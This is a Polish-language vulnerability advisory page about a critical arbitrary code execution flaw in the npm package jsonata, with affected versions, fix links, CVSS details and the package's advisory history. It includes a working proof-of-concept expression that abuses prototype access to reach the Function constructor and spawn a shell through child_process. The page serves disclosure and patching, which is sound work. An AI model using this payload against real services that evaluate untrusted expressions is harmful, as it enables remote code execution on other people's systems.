Krytyczna

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Ujawniono: 21.08.2026
Aktualizacja: 11.10.2026 10:22

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

Platforma	Paczka	Podatne wersje	Poprawka w wersji
Paczka npm	jsonata	>= 2.0.0, < 2.2.1, < 1.8.8	2.2.1, 1.8.8

Odnośniki

Ocena CVSS -

Wektor CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Słabość (CWE): CWE-94
Platforma: npm
Paczka: jsonata
Ujawniono: 21.08.2026
Aktualizacja: 11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-2943-5xfg-gq5f - CC BY 4.0

Historia podatności: jsonata

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów: 6
Pierwsza → ostatnia: 03.2024 08.2026
Bez poprawki: 0
Wykorzystywana w atakach: 0

Rozkład istotności

Krytyczna 4
Wysoka 1
Średnia 1

Ujawnienia w latach

2024: 1
2025: 0
2026: 5

21.08.2026

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Krytyczna CVE-2026-77415 >= 2.0.0, < 2.2.1, < 1.8.8 2.2.1, 1.8.8
21.08.2026

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions ten wpis

Krytyczna CVE-2026-77414 >= 2.0.0, < 2.2.1, < 1.8.8 2.2.1, 1.8.8
21.08.2026

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Krytyczna CVE-2026-77413 < 1.8.8, >= 2.0.0, < 2.2.0 1.8.8, 2.2.0
02.07.2026

jsonata: Malicious inputs to "$toMillis" function can cause resource exhaustion

Wysoka · 7.5 CVE-2026-52746 >= 2.0.0, < 2.2.0, < 1.8.9 2.2.0, 1.8.9
15.06.2026

jsonata: Function Binding Prototype Pollution via hasOwnProperty Override

Średnia · 5.3 CVE-2026-12208 < 1.8.8, >= 2.0.0, < 2.2.1 1.8.8, 2.2.1
04.03.2024

JSONata expression can pollute the "Object" prototype

Krytyczna · 9.8 CVE-2024-27307 >= 1.4.0, < 1.8.7, >= 2.0.0, < 2.0.4 1.8.7, 2.0.4

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację